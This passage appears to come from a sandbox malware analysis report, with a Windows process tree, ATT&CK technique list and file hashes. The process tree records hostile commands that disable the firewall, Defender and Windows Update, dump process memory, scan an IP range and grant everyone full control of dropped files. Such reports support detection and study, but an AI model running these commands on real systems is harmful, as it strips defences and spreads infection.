C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:2024
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2056
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:2044
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2872 -
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:3036
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1912 -
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:3032
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:320
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2984
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:3008
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:1368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:2832
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:2332
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:880
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:2000
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:296
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:2356 -
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:1688
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:2364 -
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:1672
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:1692 -
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:1792
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1636 -
C:\Windows\TEMP\mfebbbrby\eszugbung.exeC:\Windows\TEMP\mfebbbrby\eszugbung.exe -accepteula -mp 1120 C:\Windows\TEMP\mfebbbrby\1120.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2344 -
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1576 -
C:\Windows\TEMP\mfebbbrby\eszugbung.exeC:\Windows\TEMP\mfebbbrby\eszugbung.exe -accepteula -mp 1204 C:\Windows\TEMP\mfebbbrby\1204.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2032 -
C:\Windows\TEMP\mfebbbrby\eszugbung.exeC:\Windows\TEMP\mfebbbrby\eszugbung.exe -accepteula -mp 2884 C:\Windows\TEMP\mfebbbrby\2884.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2792 -
C:\Windows\TEMP\mfebbbrby\eszugbung.exeC:\Windows\TEMP\mfebbbrby\eszugbung.exe -accepteula -mp 400 C:\Windows\TEMP\mfebbbrby\400.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2988 -
C:\Windows\TEMP\mfebbbrby\eszugbung.exeC:\Windows\TEMP\mfebbbrby\eszugbung.exe -accepteula -mp 1572 C:\Windows\TEMP\mfebbbrby\1572.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1680 -
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\mfebbbrby\tgykbkbiz\scan.bat2⤵
- Loads dropped DLL
PID:3024 -
C:\Windows\mfebbbrby\tgykbkbiz\liaekeiyb.exeliaekeiyb.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2548
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2600
-
C:\Windows\SysWOW64\huzbeq.exeC:\Windows\SysWOW64\huzbeq.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2444
-
C:\Windows\system32\taskeng.exetaskeng.exe {0B3D161E-A7DA-4514-9EBA-2B734BBEB618} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:332
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ajszieiei\bsuyvg.exe /p everyone:F2⤵PID:1476
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1516
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\ajszieiei\bsuyvg.exe /p everyone:F3⤵PID:2724
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\bybsswu.exe2⤵PID:1708
-
C:\Windows\ime\bybsswu.exeC:\Windows\ime\bybsswu.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:812 -
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\nubbucjk\bybsswu.exe /p everyone:F2⤵PID:1524
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2424
-
C:\Windows\system32\cacls.execacls C:\Windows\nubbucjk\bybsswu.exe /p everyone:F3⤵PID:2308
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
4.5MB
MD5b8db2dd23d1ac0da84a940fce25c8afc
SHA13e4d107701c0b24c04aae11b9201723c1e2382fa
SHA2564b138a656a396c8bedf6203a3396018b53fced2ba97b9c28561b597e71437ed0
SHA512016914f320204e768a067a27265c90c50e2bafb0d044fcb4657a9a89683b4cc233a2270c468da1c37378684d83c76ca53113f672fbaede1da1a754fc92a25bfc
-
Filesize
1.4MB
MD5f7554fbce14dc68b9719907fce69c628
SHA14a23cb5715047bc92b2568fb93cacd72a054ac30
SHA25654e9a2612ac70c073e51b06796c3beea71e4337f69d7f8fd2ca8df8c1bbd2857
SHA5123144212a6a7d986bba8b1e8aaacaa37b6f5834b4e4f5202d579e89e2c7ead99e62dcf00c65a1a730a4a05ddc3c2dd791478b11f6aaa805dce651972710b51512
-
Filesize
1.3MB
MD562f1eced8da70e2563614443dc86f163
SHA1f1b4fda4398b1a1cd2cbb70ae8fcc8aaf9107798
SHA2566ef27885d9378f95debf0f7ee7e8d30a36e6b1e19783c65e5c1db5b0bd1aa72d
SHA512ff8407940cf932066c5b3a79134b3f96fd13190ef63c78140608d0be2d92cc789bdcc5ec710ddc1c9391ba906343e72d80d3ca68f3bd236a55392f0e7e1fa9a7
-
Filesize
847KB
MD5293d32f41e68b7b8a8a8c1538f2ddc1e
SHA181c8cf4bfbd03bf7da50fd2004584b46f5771695
SHA2565ea4546623ce35d1f24d12bba5afefbe7559c5d9535fff311c7f9c7cc1803055
SHA512a4a0eabbf5830f6c97a45d5ff7b40236214872360000c1fb31154f8380b0f5a50864c656bda423d7a73332552928ecaf7e67838129acb0ad402a10928ebfc7b9
-
Filesize
6.5MB
MD5f735b804ae577a24ed33c456d8ed9cec
SHA1f6a6dcf516e67bc561a83e854a55c6c267c6b50c
SHA256dcf0c5720d6dc184adf01b2c990e734d9905fb0c2e0bdb69e13dfebe6c6a8975
SHA5122456b03a7fe4271d53cc43761880c9f0c4bdfe246921e7863b777ceba9ebeb42f379fdd891f9c477a949a870b771638f7bca25b2a3e245b03fd4afe5faeba44b
-
Filesize
2.0MB
MD5ecb18c19ca168554a9502ed0c5294368
SHA13d63a72c10a4e3cbbb1a166dac5f9aeaeca889c4
SHA256736366af684a596a831cdf69f6bf8180817121cad0b38c3918dfc36000ec1b70
SHA512f9e89503b60240f6dd8f970fe112cc961823359707789d35fa498be051e070f20d37322cefaa7e444742a0288c1af1429400d0d4bd716e38d2df2706aedaa73f
-
Filesize
160B
MD5591fd30422529177f79cd1b173113fb8
SHA1b9064b122c4c61ec66376e3a855bb6d627f90848
SHA2565b36bd348eeccb55cc2f72922b774c3517b1a8492b2ea03a04eee957097ef081
SHA512279231e6767b28f6ac507dc5d462f880fc8a97f6d89c6601a7c58aa23b531a5153428cd16ed426471d9b7b0474c3e727e34c8524e5b3c0f0d3a91c3d3fc0296d
-
Filesize
160B
MD5a184be1703a40a53fd5220b8a9525398
SHA19ed7e9b07321a8c1f2be5071ec5076abecbdaf40
SHA256134d84e241ce839923f7cc2f68e8222c1e5e0c44a36b677f4df0db50a8886f0c
SHA5129e6424df5cdcf5aaf5e494af4215e3b87a51f72837f3cb1c39830c9c5c668e6c25ab17785fa26e33985c1ab06db7e3cf4961eb43dff8eedd8d819f82924c5f62
-
Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
-
Filesize
63KB
MD5821ea58e3e9b6539ff0affd40e59f962
SHA1635a301d847f3a2e85f21f7ee12add7692873569
SHA256a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
SHA5120d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
7.1MB
MD5c4264fab56f2d7363fd524f61a4083ae
SHA1ccf31b7f7d0d3a283b0e7c6e7c307deafc53de0a
SHA256567f9d47d70607beba27c2fee0489f370425563bb7e5401b9ccf804abbc5c774
SHA512b275dcb325b37f450fec899be3073561d7a53a906d14c02cb4e0b624db345b72cbe270fb5a7b8a0cd66c2c48b2c0a14e26fbd1a1f5440d85b855c216b3ed6c53